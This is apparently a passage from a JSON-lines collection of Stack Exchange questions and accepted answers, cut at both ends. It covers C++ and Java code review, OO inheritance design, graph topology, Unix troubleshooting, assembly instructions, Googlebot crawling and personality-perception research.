k++;        }        if(str[i] == '.' || str[i] == '\\t' || str[i] == ',' || str[i] == ';'        || str[i] == ':' || str[i] == '}' || str[i] == '{') {            k--;        }    }    tabl = k;There are a couple of things you can do to make this more efficient and easier to read. First lets make it function to hold the test:    bool isMyPunct(unsigned char x)    {         return str[i] == '.'  ||                 str[i] == '\\t' ||                 str[i] == ','  ||                 str[i] == ';'  ||                 str[i] == ':'  ||                 str[i] == '}'  ||                 str[i] == '{';    }Notice how much easier that is to read. Now you can modify your code too:    for(i = 0; i < str.length(); i++){        if(str[i] != ' ' && !isMyPunct(str[i]){            tab[k] += tolower(str[i]);        }else{            k++;        }        if(isMyPunct(str[i]) {            k--;        }    }    tabl = k;Back to the isMyPuct(). The best optimization here is we can can convert multiple tests into a single test by using a table lookup.    bool isMyPunct(unsigned char x)    {         static char const punctTestTable[] =               {                    0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0,  // '\\t'                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0,  // ',' '.'                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0,  // ':' ';'                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0,  // '{' '}'                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0               };         return punctTestTable[x];    }But doing this all manually is a pain. You can get the stream to do it for you by using a specialized local that treats your punctuation like spaces. See How to tokenzie (words) classifying punctuation as spaceThe rest of the code is incomprehensible.I could probably sit down and work it out. But the point is that is hard. You want people to be able to read your code at first glance and understand at least the gist of what you are doing.    k = 0;    for(i = 0; i < tabl; i++){        for(j = 0; j < tabl; j++){            if(tab[i] == tab[j]){                k++;            }        }        tabs.push_back(k);        k = 0;    }    .....Prefer \\n to std::endl.    cout << ------------------------------------ << endl;It does not force a flush when you don't need one. Note: you hardly ever need to force a flush it is much more efficient to let the system to flush at appropriate times.Re-ThinkVersion 1:int main(){    std::ifstream     inputFile;    inputFile.imbue(std::locale(std::locale(), new IgnorePuct(std::locale()));    inputFile.open(file.txt);    std::map<std::string, std::size_t>   countOfWords;    TopTenWordsWithCount                 topTen;    std::string     word;    while(inputFile >> word)    {        std::size_t&  count = countOfWords[word];        ++count;        topTen.add(word, count);    }    std::cout << topTen;}Two things to implement:TopTenWordsWithCount: Use the C++ heap to keep an ordered set of words.IgnorePuct: See How to tokenzie (words) classifying punctuation as space"  } 
{  "id": "_softwareengineering.77061"  , "question": "In many langauges, super() lets you call the parent method which you have overridden. I've been using super in my Javascript (with fake object oriented implementation) to run common code for a long time without problems. Now I've finally hit a case where calling a protected base class method would have been better than calling super.Here's a concrete example. Grandparent -> Parent -> KidI needed to add a Kid. It's identical to Parent except for one method called someMethod. Kid's someMethod needed to do Grandparent's common stuff, but not Parent's specific stuff. So Kid's someMethod could not call super because that would trigger Parent specific code. Instead of changing my grand class structure, I just made Kid duplicate Grandparent's common code.Grandparent { someMethod {  do common stuff };}Parent: Grandparent { someMethod {  super();  do parent specific stuff }}Kid: Parent { someMethod {  duplicate of common stuff  do kid specific stuff  }}In my book, duplicate code is bad. If only Grandparent wrote its common stuff as a protected method, I wouldn't need to duplicate code.  Grandparent { protected commonMethod virtual someMethod}Parent: Grandparent { someMethod {  commonMethod  do parent specific stuff }}Kid: Parent { someMethod {  commonMethod  do kid specific stuff }} Should I just completely stop using super and switch to protected methods for running common code? Are there any pitfalls to protected methods for running common stuff?"  , "title": "Super vs protected method for running common code"  , "tags": "object oriented;inheritance"  , "accepted_answer": "No, you shouldn't stop using super, you should stop implementing bad OO designs.Notwithstanding the fact that we're not talking about true inheritance, why are you inheriting from the parent if you don't want its functionality?  You're breaking the abstraction.  The leaf-level class shouldn't know anything about the actual implementation of the parent, certainly not enough to know that it doesn't want the parent specific stuff to be done.More generally, you should be honouring the Liskov Substitution Principle whenever possible and only creating derived types that can actually be substituted wholesale for the base types.  This seems to have been violated here; the parent has altered the contract of the grandparent in such a way that further generations of descendants have to disable it in order to function correctly.As far as I can tell, your kid should be a descendant of grandparent.Separately:There are other ways to avoid duplication.  Not everything has to be based on inheritance; composition and plain old referencing are just fine.  Make sure you're not violating the SRP.At least in most OO implementations, protected and virtual are not mutually exclusive.  An override method is still free to call protected methods of its base, so if you foresee a need for derived classes to use specific functionality of the base, then abstract it into a protected method.  That has absolutely no bearing on whether or not another method should be virtual.I think the root of the problem really lies in this sentence:I've been using super in my Javascript... to run common codeInheritance is not primarily a tool for code reuse.  It's a tool for... well, inheritance, i.e. when you need to be able to substitute one implementation for another without loss of fidelity (polymorphism) or when the base class won't have all the information it needs to execute a particular operation and it needs to be able to delegate this to a derived class (abstraction).If you're using inheritance for the sole purpose of jamming in code that's frequently used, then you've completely misunderstood the concept; use composition for that, or hell, just write a bunch of functions.  There's no reason to try to fake inheritance when the best possible result is still inferior to simpler alternatives."  } 
{  "id": "_cstheory.11007"  , "question": "Let $G$ be a graph embedded on an orientable compact surface of genus $g$ so that the embedding is cellular. Consider the dual of the graph $G^*$. Let $C_1$ and $C_2$ be disjoint cycles in $G^*$ that are homotopic to each other and let $E_1$ and $E_2$ be their corresponding edge sets in $G$ respectively. Is $G \\setminus (E_1 \\cup E_2)$ a disconnected graph?"  , "title": "Does a pair of disjoint homotopic cycles in the dual separate the graph?"  , "tags": "graph theory;co.combinatorics;topological graph theory"  , "accepted_answer": "Yes.  Let me write $\\Sigma$ for the surface on which $G$ and $G^*$ are embedded.Because the cycles $C_1$ and $C_2$ are homotopic, they are also in the same $\\mathbb{Z}_2$-homology class.  So by definition, the symmetric difference $C_1\\oplus C_2$ is the boundary of the union of some subset of faces of $G^*$; call this union of faces $U$.  (In fact, either $U$ or its complement $\\Sigma\\setminus U$ must be an annulus, but this isn't important.)Because $C_1$ and $C_2$ are disjoint, the symmetric difference $C_1\\oplus C_2$ is equal to the union $C_1\\cup C_2$.  In particular, we have $C_1\\oplus C_2\\ne \\varnothing$, which implies that both $U$ and its complement $\\Sigma\\setminus U$ are non-empty.  In other words, the subsurface $\\Sigma \\setminus (C_1\\cup C_2)$ is disconnected.Any path in $G$ can be viewed as a path in $\\Sigma$ that avoids the vertices of $G^*$, and vice versa (up to homotopy).  Thus, the (graph) components of $G\\setminus (E_1\\cup E_2)$ correspond bijectively to the (surface) components of $\\Sigma \\setminus (C_1\\cup C_2)$.  We conclude that $G\\setminus (E_1\\cup E_2)$ is disconnected.The assumption that $\\Sigma$ is orientable is never used."  } 
{  "id": "_unix.175089"  , "question": "While trying to know where is NMon job configured to run; I do find that it's NOT listed on Crontab (using crontab -l).BUT - the job is currently running as expected, which is weird.See the following output for psserver# ps -ef | grep nmonroot 67043538   1   0 00:01:32 -  0:00 /usr/bin/topas_nmon  -x -F /usr/local/log/server.nmon -tA -s 180 -c 480 -youtput_dir=/usr/local/log/server.nmon -ystart_time=00:01:31,Dec20,2014So? where it's configured to be executed; there must be another place rather than crontab.My server is running AIX 6.1- Thanks! :)"  , "title": "Where is NMon cron job for AIX?"  , "tags": "cron;performance;aix"  } 
{  "id": "_unix.341730"  , "question": "When I write programs for my own FPGA, I must select UART to emulate a terminal and for my FPGA design but I don't know exactly what that means. I believe that UART is a basic serial transmission protocol, isn't it? And is that the protocol between the program and the terminal and therefore I must choose UART from my programming environment?"  , "title": "What is the relation between UART and the tty?"  , "tags": "terminal;tty;protocols;uart"  , "accepted_answer": "A UART (Universal Asynchronous Receiver Transmitter) is not a protocol, it's a piece of hardware capable of receiving and transmitting data over a serial interface. I presume you are selecting some design block for your FPGA design implementing an UART."  } 
{  "id": "_softwareengineering.187556"  , "question": "There is an issue which appears while running the application. It is not an Exception, but the desired UI change is not been implemented.While debugging to find the code which should be changed to fix this problem, the UI changes can be seen correctly, To be specific, if we put one breakpoint in the class where it is called, and press the Continue in NetBeans, the problem occurs. But if we step over to the next lines and try to see the state at the end of the debug, the component seems to work perfectly.How can these kind of issues be resolved?"  , "title": "While running an application the error occurs, while debugging it doesn't"  , "tags": "debugging"  } 
{  "id": "_cstheory.5346"  , "question": "The Turing machine (TM) is an abstract model for effective implementation of (finite algorithmic) calculation. TM is defined over some alphabet of symbols L and reading data performs a finite sequence of operations on these symbols in the manner described a kind of mapping, let's call it the transition mapping. TM has a certain inner state q which may be one element of a finite set Q. Transition mapping T specifies that if the machine reads in the current cell the symbol x from L.changes it to a symbol x ', and next data would be read from right (R) or left (L) cell. During this operation the state machine will change q to q '. We say that TM is defined as structure $ TM(L,Q,T,\\{ START \\},\\{ STOP \\}) $. But for this discussion it would be easier to say that we define certain sets as $ L'= L + \\{ L,P \\} $ and $ Q' = Q + \\{ START,STOP \\} $ and then we obtain symmetric $ T`: L' \\times Q' -> L' \\times Q' $. Then we omit any primes when it possible, and we define TM as $ TM(L,Q,T) $. We may describe states of TM as $ q_{ij} $ where $ i = 0...N $, $ j = L,P $ and $ q_{0L} =q_{0P} =START $, $ q_{NL} =q_{NP} =STOP $. Transition function is defined such that for given $ q_{ij} $ and symbol $ a_k $ from alphabet $ L $ machine in state $ q_{ij} $ reads $ a_k $ and goes to state $ q_{nm} $ and writes symbol $ a_s $ on the tape. That is:$ T'(q_{ij}, a_k) = T(q_i, a_s,) = (q_n, a_s, x) $ where $a_k, a_s \\in L $ and $x \\in \\{ L,P \\}$We may ask when $T(q_{ij}, a_k)$  defines any ordering relation on $ L \\times Q $ or on $Q$ or even on $ L \\times Q \\times {L,P} $ ?Of course in general there is no such possibility, but in certain situation we may for example has $T(q_{ij}, a_k)$ such that for any $j,k$, $T(q_{ij}, a_k) = (q_{ nm }, a_s)$ and  $i \\leq n $. In such situation T defines partial order. In such situation $ Q $ may be a lattice with relation generated by order generated by transition function T.Are there any interesting facts about  TM with such (or similar) property?Remark/MotivationI wonder if certain relation of this type,may give us algebraic structure on LxQ set. When the answer is yes, we may ask if TM will stop his computation for every data for example. Of course there are is in some way trivial examples of such transition function T. But suppose what if structure generated by T' is much more complicated for example if it is lattice. I suppose in certain situations it may be not trivial ( trivial one is when You have STOP and START as bounding extrema, and all other states are at the same level) So when it occurs, TM has certain and nontrivial data flow through it graph of states. And structure of it ( eg. lattice) may give us a tool for proving specific properties."  , "title": "Turing Machine which generates order on the set of its states"  , "tags": "reference request;turing machines;lattice"  } 
{  "id": "_cs.53395"  , "question": "In my CS computer organization textbook, there's this blurb on the advantage of assembly over a high-level language.Another major advantage of assembly language is the ability to exploit specialized instructions - for example, string copy or pattern-matching instructions. Compilers, in most cases, cannot determine that a program loop can be replaced by a single instruction. However, the programmer who wrote the loop can replace it easily with a single instruction.How can a loop be replaced by string copy or pattern matching? Can somebody give an example on specialized instructions that are not available in a high-level language and how a specialized instruction can replace a loop?"  , "title": "Examples of specialized instructions of assembly language not available in compilers?"  , "tags": "programming languages;compilers"  , "accepted_answer": "Some machines have complex processor instructions that can do the same job as a loop with a simple body. For example, x86 processors have an instruction scasb instruction that searches for a byte value; the C strlen function, which searches for a null byte and can be written in C aswhile (*p != 0) p++;can be written in x86 assembly asrepne scasbAnother example is bit counting. Many processors have instructions to do things like finding the number of bits that are set in a word, or finding the index of the lowest-order set bit in a word. However, most programming languages have no operator or function for that, so the programmer has to write a loop likebit_count = 0;while (n != 0) {    if (n & 1) ++bit_count;    n = n >> 1;}whereas recent x86_64 processors have an instruction for that:popcntSome C compilers provide extensions to the standard language that give access to this instruction (and compile to a loop-based form if such an instruction doesn't exist on the target machine).Yet another example is instructions that accelerate some common cryptographic algorithms (e.g. AES-NI on recent x86 processors). Unlike the previous two, this example is of interest only to the rarefied world of cryptography implementers, so compiler writers are less inclined to provide ways to generate those instructions apart from inline assembly.Your textbook seems somewhat dated to me. Loop instructions hard-wired in processors are a very CISC feature that most modern processors don't have, the notable exception being the x86 architecture where it is implemented in microcode for backward compatibility. Compilers have become better at understanding what a piece of code including a simple loop does, and converting them to optimized machine instructions. The statement Compilers, in most cases, cannot determine that a program loop can be replaced by a single instruction is not always true for 21st century compilers. It is sometimes true; for example I can't seem to get GCC to recognize my naive popcnt implementation above."  } 
{  "id": "_cs.68478"  , "question": "I would like to confirm below understanding, A binary tree is a tree data structure in which each node has at most two children, which are referred to as the left child and the right child.Insertion:In binary trees, a new node before insert has to specify 1) whose child it is going to be 2) mention whether new node goes as left/right child. For example(below image),To add a new node to leaf node, a new node should also mention whether new node goes as left/right child.Deletion:For deletion, only certain nodes in a binary tree can be removed unambiguously.Suppose that the node to delete is node A. If A has no children, deletion is accomplished by setting the child of A's parent to null. If A has one child, set the parent of A's child to A's parent and set the child of A's parent to A's child.In a binary tree, a node with two children cannot be deleted unambiguously.Is this understanding correct ?"  , "title": "Operation on binary tree"  , "tags": "data structures;binary trees"  } 
{  "id": "_codereview.90190"  , "question": "Some people complain about if - statements and I really appreciate that attitude. Actually I plan to abandon the entire keyword in order to awesomize my code, which is:Algorithm.java:package net.coderodde.noxx;import java.util.Arrays;import java.util.Random;/** * This is algorithm. It works as .. there is no need for .. - statements. * It proves that there is no need for .. - statements. */public class Algorithm {    /**     * ..less algorithm for finding the index of a maximum integer in an array.     *      * @param  array the array to search.     * @return the index of the maximum element or -1 if the array is     *         <code>null</code> or has length zero.     */    public static final int indexOfMaximum(final int[] array) {        int max;        int index;        // Here supposed check whether array is null or empty, but we are not        // supposed to use ..-statements. Use exceptions instead!        try {            max = array[0];            index = 0;        } catch (final NullPointerException |                        ArrayIndexOutOfBoundsException ex) {            return -1;        }        for (int i = 1; i < array.length; ++i) {            // Why not to use for's test condition instead of ..?            for (int j = 0; j < testIsGreater(array[i], max); ++j) {                max = array[i];                index = i;            }        }        return index;    }    /**     * Life is so much easier now without .. .     */    private static int testIsGreater(final int element, final int max) {        return element - max;    }    public static void main(final String... args) {        final Random rnd = new Random();        final int[] array = new int[10];        for (int i = 0; i < array.length; ++i) {            array[i] = rnd.nextInt(1301) - 300;        }        final int index = indexOfMaximum(array);        final int check = Arrays.stream(array).max().getAsInt();        System.out.println(Maximum integer:  + array[index]                                                +  and                                                 + check);    }}AlgorithmTest.java:package net.coderodde.noxx;import static net.coderodde.noxx.Algorithm.indexOfMaximum;import org.junit.Test;import static org.junit.Assert.*;public class AlgorithmTest {    /**     * My tests use .. neither! Ain't this keeewl??     */    @Test    public void testIndexOfMaximum() {        int[] array = new int[0];        assertEquals(-1, indexOfMaximum(array));        assertEquals(-1, indexOfMaximum(null));        array = new int[]{3, 2, 1, 4, 5, 1 };        assertEquals(4, indexOfMaximum(array));        array = new int[]{3};        assertEquals(0, indexOfMaximum(array));        array = new int[]{3, 4, 1, 7};        assertEquals(3, indexOfMaximum(array));    }    }So is it kewl to awesomize the code this way?"  , "title": "Finding the maximum of an array without using explicit conditionals"  , "tags": "java"  , "accepted_answer": "Some people complain about .. - statements and I really appreciate that attitude. Actually I plan to abandon the entire keyword in order to awesomize my codeI'm wondering what complaints you're referring to.In any case, I don't think you succeeded in awesomizing,but rather in suckifying.// Here supposed check whether array is null or empty, but we are not// supposed to use ..-statements. Use exceptions instead!try {    max = array[0];    index = 0;} catch (final NullPointerException |                ArrayIndexOutOfBoundsException ex) {    return -1;}The statement in the comment is plain wrong.You are supposed to use if statement to check for nulls and array bounds.(Recommended reading: Item 57 in Effective Java by Joshua Bloch.)Exceptional logic shouldn't be used for normal program flow.What you're doing here is essentially input validation,which fits well within the bounds of normal program flow.Just use an if statement.// Why not to use for's test condition instead of ..?for (int j = 0; j < testIsGreater(array[i], max); ++j) {    max = array[i];    index = i;}Because this is horrible code,obfuscating an otherwise simple logic,and looping unnecessarily./** * Life is so much easier now without .. . */private static int testIsGreater(final int element, final int max) {    return element - max;}Is life really easier? Harder to read, with no benefits whatsoever, so no it isn't.Also a poor name for a function. isGreater would have been better.Related discussions:https://stackoverflow.com/questions/299068/how-slow-are-java-exceptionshttps://stackoverflow.com/questions/12265451/ask-forgiveness-not-permission-explain"  } 
{  "id": "_webmaster.61423"  , "question": "I implemented the unavailable_after tag in my pages like the below and set to unavailable after 3 days but in Google Webmaster Tools I got 404 for that page.<META NAME=GOOGLEBOT CONTENT=unavailable_after: 05-May-2014 15:00:00 EST>How do I know Googlebot visit(crawl) my pages again to read this tag (or) how long Googlebot will take to crawl the pages again ? please give me a suggestion!.Note: I set unavailable_after tag for certain content types(not whole website) with highest priority(1.0) in XML sitemap."  , "title": "How do I find when Googlebot will visit(crawl) my pages again?"  , "tags": "seo;google search console;googlebot"  , "accepted_answer": "Googlebot recrawls pages with a frequency based on how popular they are and how often they have changed in the past.   CNN's home page gets crawled every few minutes.  A PageRank 0 page near the back of an unpopular blog may only get crawled monthly.As a general rule of thumb, I allow two to three weeks for all the pages on my site to get recrawled when I make changes.I don't believe that Googlebot actually uses the crawl priority or change date in XML sitemaps to trigger recrawls.  The only way that I know to force Google to crawl a page is to use the Fetch as Google feature in Webmaster Tools.   That tool has a limit of 1000 pages that have to be submitted manually one by one.See: How to request Google to re-crawl my website?"  } 
{  "id": "_softwareengineering.287150"  , "question": "How does a Kernel provides different functionality to OS? Does it use the BIOS routines or use special device drivers for this, or something else? If uses BIOS how does it come to know which routine performs what because different BIOS vendors have different coding? If not then what's the use for BIOS routines?"  , "title": "Relation between Kernel & BIOS routines"  , "tags": "operating systems;kernel;bios"  } 
{  "id": "_unix.298181"  , "question": "So I've installed Syncthing and I'm running in a lot of problems getting this program to run as root on boot. For some reason it always runs as the default user ( thom ), but I boot into root and tell it to run as root. The command looks like this:sudo start-stop-daemon --start --quiet --background --chuid root  --exec /usr/bin/syncthing -- --no-browserAnd is placed inside rc.local. Running rc.local manually AFTER booting works fine, the booting itself is not working. This is the only program thus far that's consistently running as the wrong user. Perhaps someone can help point out what exactly I'm doing wrong?"  , "title": "Command ran as wrong user on boot while explicitly being told to run as root"  , "tags": "users;startup;daemon"  } 
{  "id": "_unix.56082"  , "question": "Currently, I have both the gajim and skype windows visible as both icons (in systray) and window labels (in mytasklist).  How can I remove that latter so that it is not shown since I do not need two instances of the same thing cluttering my wibox. "  , "title": "Awesome wibox: remove tag label"  , "tags": "awesome"  , "accepted_answer": "To have a window not appear in the tasklist, you have to set skip_taskbar to true for the client.As you want to do that for specific applications, probably the best way is to add a client rule to your rc.lua:awful.rules.rules = {    { rule = { class = {Gajim,Skype} },      properties = { skip_taskbar = true }    },    -- other rules ...}You may have to change the values for class. To get the window class of a X program, call xprop WM_CLASS from a terminal, then click on the window you want to match. This should output 2 values (e.g. WM_CLASS(STRING) = Zsh, URxvt). The second one is the one for class. The first one can be matched with instance and may be used to differentiate between windows from the same program.See also Awesome Wiki for more on rules and Awesome API docs for a list of properties you can set with rules."  } 
{  "id": "_cogsci.8633"  , "question": "Are there any studies on the possibility of visually recognizing someone's personality?When I say visually recognizing I mean things like clothes, accessories, body attitude, visible behavior, vehicles driven etc.When I say personality I mean things like Big 5 traits, personal motivations (money, love, attention, etc) and life goals (die rich, have a happy family, have high career, etc).For instance, I realized that big seller personalities (loves money, loves attention, will lie for any sale, loves to manipulate) would wear (or want) a gold watch. So when you see someone wearing a gold watch there is a high chance the person is a big seller-personality.In general, I would claim that everyone spends the most money, the most time and the most attention on what is most important to them. But what is the most important owned properties for different personalities?"  , "title": "Studies on visually recognizable personality traits?"  , "tags": "personality;sensation;recognition"  , "accepted_answer": "I am currently reading a book called Snoop, written by researcher Sam Gosling (I recommend this very interesting book!). He's doing just the kind of research I am looking for, and thus I've found tons of research documents on these things:Our research focuses on the following issues:Everyday manifestations of personality  Which cues are reliably  linked to what individuals are like?Everyday person perception  Which cues do individuals use to form  their impressions of others?Consensus  Do observers agree with one another in their impressions  of others?Accuracy  Are observers impressions of others accurate?Stereotype use  how do stereotypes hinder or promote consensus and  accuracy?  - http://gosling.psy.utexas.edu/current-research/everyday-manifestations-of-personality/http://gosling.psy.utexas.edu/publications/The expression and perception of personality in everyday lifeBack, M. D., Stopfer, J. M., Vazire, S., Gaddis, S., Schmukle, S. C., Egloff, B., & Gosling, S. D. (2010). Facebook profiles reflect actual personality not self-idealization. Psychological Science, 21, 372-374.Carney, D. R., Jost, J. T., Gosling, S. D., & Potter, J. (2008). The secret lives of liberals and conservatives: Personality profiles, interaction styles, and the things they leave behind. Political Psychology, 29, 807-840.Gebauer, J. E., Bleidorn, W., Gosling, S. D., Rentfrow, P. J., Lamb, M. E., & Potter, J. (in press). Cross-Cultural Variations in Big Five Relations with Religiosity: A Socio-Cultural Motives Perspective. Journal of Personality and Social Psychology.Gosling, S. D., Augustine, A. A., Vazire, S., Holtzman, N., & Gaddis, S. (2011). Manifestations of personality in Online Social Networks: Self-reported Facebook-related behaviors and observable profile information. Cyberpsychology, Behavior, and Social Networking, 14, 483-488. [DOI: 10.1089/cyber.2010.0087]Gosling, S. D., Gaddis, S., & Vazire, S. (2008). First impressions based on the environments we create and inhabit. In N. Ambady, & J. J. Skowronski (Eds.), First Impressions (pp. 334-356). New York: Guilford.Gosling, S. D., Gifford, R., & McCunn, L. (2013). The selection, creation, and perception of interior spaces: An environmental psychology approach. In G. Brooker & L. Weinthal (Eds.), The Handbook of Interior Design (pp. 278-290). Oxford, UK: Berg.Gosling, S. D., Ko, S. J., Mannarelli, T., & Morris, M. E. (2002). A Room with a cue: Judgments of personality based on offices and bedrooms. Journal of Personality and Social Psychology, 82, 379-398. [Available in pdf]Gosling, S. D., Sandy, C. J., & Potter, J. (2010). Personalities of self-identified dog people and cat people. Anthrozos, 23, 213-222.Graham, L. T., & Gosling, S. D. (2012). Impressions of World of Warcraft players personalities based on their usernames: Interobserver consensus but no accuracy. Journal of Research in Personality, 46, 599-603.Graham, L. T., & Gosling, S. D. (2013). Personality profiles associated with different motivations for playing World of Warcraft. Cyberpsychology, Behavior, and Social Networking, 16, 189-193.Graham, L. T., & Sandy, C. J., & Gosling, S. D. (2011). Manifestations of individual differences in physical and virtual environments. In T. Chamorro-Premuzic, S. von Stumm, & A. Furnham (Eds.), Handbook of Individual Differences (pp. 773-800). Oxford: Wiley-Blackwell.Mehl, M. R., Gosling, S. D., & Pennebaker, J. W. (2006). Personality in its natural habitat: Manifestations and implicit folk theories of personality in daily life. Journal of Personality and Social Psychology, 90, 862-877.Naumann, L. P., Vazire, S., Rentfrow, P. J., & Gosling, S. D. (2009). Personality judgments based on physical appearance. Personality and Social Psychology Bulletin, 35, 1661-1671Obschonka, M., Schmitt-Rodermund, E., Silbereisen, R. K., Gosling, S. D., & Potter, J. (2013). The regional distribution and correlates of an entrepreneurship-prone personality profile in the United States, Germany, and the United Kingdom: A socioecological perspective. Journal of Personality and Social Psychology, 105, 104-122. [DOI: 10.1037/a0032275]Rentfrow, P. J., Goldberg, L. R., Stillwell, D. J., Kosinski, M., Gosling, S. D., & Levitin, D. J. (2012). The song remains the same: A replication and extension of the MUSIC model. Music Perception, 30,161-185. [DOI: 10.1525/MP.2012.30.2.161]Rentfrow, P. J., & Gosling, S. D. (2003). The do re mis of everyday life: The structure and personality correlates of music preferences. Journal of Personality and Social Psychology, 84, 1236-1256. [Available in pdf]Rentfrow, P. J., & Gosling, S. D. (2006). Message in a Ballad: The role of music preferences in interpersonal perception. Psychological Science, 17, 236-242. [Available in pdf]Rentfrow, P. J., & Gosling, S. D. (2007). The content and validity of music-genre stereotypes among college students. Psychology of Music, 35, 306-326.Rentfrow, P. J., Gosling, S. D., Jokela, M., Stillwell, D. J., Kosinski, M., & Potter, J. (2013). Divided We Stand: Three Psychological Regions of the United States and their Political, Economic, Social, and Health Correlates. Journal of Personality and Social Psychology, 105, 996-1012. [DOI: 10.1037/a0034434]Rentfrow, P. J., Gosling, S. D., & Potter, J. (2008). A theory of the emergence, persistence, and expression of geographic variation in psychological characteristics. Perspectives on Psychological Science, 3, 339-369.Sandy, C. J., Gosling, S. D., & Durant, J. (2013). Predicting Consumer Behavior and Media Preferences: The Comparative Validity of Personality Traits and Demographic Variables. Psychology and Marketing, 30, 937-949. [DOI: 10.1002/mar.20657]Swann, W. B., Jr., Rentfrow, P. J., & Gosling, S. D. (2003). The precarious couple effect: Verbally inhibited men + critical, disinhibited women = bad chemistry. Journal of Personality and Social Psychology, 85, 1095-1106. [Available in pdf]Vazire, S., Naumann, L. P., Rentfrow, P. J., & Gosling, S. D. (2009). Smiling reflects different emotions in men and women. Behavioral and Brain Sciences, 32, 403-405.Vazire, S., Naumann, L. P., Rentfrow, P. J., & Gosling, S. D. (2008). Portrait of a narcissist: Manifestations of narcissism in physical appearance. Journal of Research in Personality, 42, 1439-1447.Vazire, S. & Gosling, S. D. (2004). e-perceptions: Personality impressions based on personal websites. Journal of Personality and Social Psychology, 87, 123-132. [Available in pdf]Wilson, R. E., Gosling, S. D., & Graham, L. T. (2012). A review of Facebook research in the social sciences. Perspectives on Psychological Science, 7, 203-220. [DOI 10.1177/1745691612442904]Anderson, C. P., Ames, D. R., & Gosling, S. D. (2008) Punishing hubris: The perils of status self-enhancement in teams and organizations. Personality and Social Psychology Bulletin, 34, 90-101.Erdle, S., Gosling, S. D., & Potter, J. (2009). Does self-esteem account for the higher-order factors of the Big Five? Journal of Research in Personality, 43, 921-922.Gosling, S. D., Sandy, C. J., & Potter, J. (2010). Personalities of self-identified dog people and cat people. Anthrozos, 23, 213-222.Gosling, S. D., & Srivastava, S. (2011). Changes in perceptions of George W. Bushs personality in the wake of the September 11 2001 World Trade Center attacks. Acta de Investigacin Psicolgica, 3, 486-490.Jost, J. T., Hawkins, C. B., Nosek, B. A., Hennes, E. P., Stern, C., Gosling, S. D., & Graham, J. (2014). Belief in a Just God (and a Just Society): A System Justification Perspective on Religious Ideology. Journal of Theoretical and Philosophical Psychology, 34, 56-81. [Translated to: Jost, J. T., Hawkins, C. B., Nosek, B. A., Hennes, E. P., Stern, C., Gosling, S. D., & Graham, J. (in press). Creencia en un dios justo: La Religin como una forma de Justificacin del Sistema. Psicologia Politica, 47, 55-89.]Mathieu, M. T., & Gosling, S. D. (2012). The accuracy or inaccuracy of affective forecasts depends on how the question is framed: A meta-analysis of past studies. Psychological Science, 23, 161-162. [DOI: 10.1177/0956797611427044]Pennebaker, J. W., Gosling, S. D., & Ferrell, J. (2013). Daily online testing in large classes: Boosting college performance while reducing achievement gaps. PLOS ONE, 9, e79774. [doi:10.1371/journal.pone.0079774]Ramrez-Esparza, N., Gosling, S. D., & Pennebaker, J. W. (2008). Paradox lost: Unraveling the puzzle of Simpatia. Journal of Cross-Cultural Psychology, 39, 685-702.Robins, R. W., Tracy, J. L., Trzesniewski, K. H., Potter, J., & Gosling, S. D. (2001). Personality correlates of self-esteem. Journal of Research in Personality, 35, 463-482. [Available in pdf]Vazire, S., Naumann, L. P., Rentfrow, P. J., & Gosling, S. D. (2009). Smiling reflects different emotions in men and women. Behavioral and Brain Sciences, 32, 403-405.Wood, D., Gosling, S. D., & Potter, J. (2007). Normality evaluations and their relation to personality traits and well-being. Journal of Personality and Social Psychology, 93, 861-879."  } 
{  "id": "_unix.333116"  , "question": "I'm using Linux Mint 18 Sarah MATE 32 bit and I'm trying to download Game Maker Studio off of Wine 1.6.2. It was named GMStudio-Installer-1.4.1763.exe.At first the installation process went perfectly, but Game Maker Studio didn't work. Then Wine wasn't working anymore. So I uninstalled it and reinstalled Wine. Then I tried it again but it said (exactly):Installation failed.This software requires Windows Framework 3.5.* or higherNo version of Windows Framework is installed.Please update your computer at  https://windowsupdate.microsoft.com/.Now I can't install anything off of Wine anymore.I looked up what to do on WineHQ, but no luck."  , "title": "Wine not working for Linux Mint 18 Sarah. Trying to run Game Maker Studio, with no luck"  , "tags": "linux mint;wine;programming"  , "accepted_answer": "Run the following command as root:rm -r /home/[enter your username here]/.wineThis will remove the entire Wine system.Now reinstall Wine. This will depend on your package manager.Finally, rebuild Wine by running winecfg as your normal user."  } 
{  "id": "_codereview.4473"  , "question": "Im running a photocontest and making a list of winners with one winner each day. My loop is running very slow. It seams to be the toList() that is time consuming. Any suggestions on how to make it run faster?foreach (var date in dates)        {            var voteList = _images.Select(image => new ImageWinnerVotes                                                   {                                                       ID = image.ID,                                                       Image = image.ImagePath,                                                       Thumbnail = image.ThumbnailImagePath,                                                       Title = image.Name,                                                       Url = GetFriendlyUrl(image.ID),                                                       Date = image.CreatedDate,                                                       WinnerDateString = date.Date.ToString(dd/MM),                                                       WinnerDate = date.Date,                                                       TotalVotes =                                                           (votes.Where(vote => vote.ItemId == image.ID)).Count(),                                                       Name = image.Fields[Name].ToString(),                                                       Votes =                                                           (votes.Where(                                                               vote =>                                                               vote.ItemId == image.ID &&                                                               vote.Date.DayOfYear == date.Date.DayOfYear)).Count()                                                   }).ToList();            voteList = voteList.OrderByDescending(v => v.Votes).ToList();            var j = 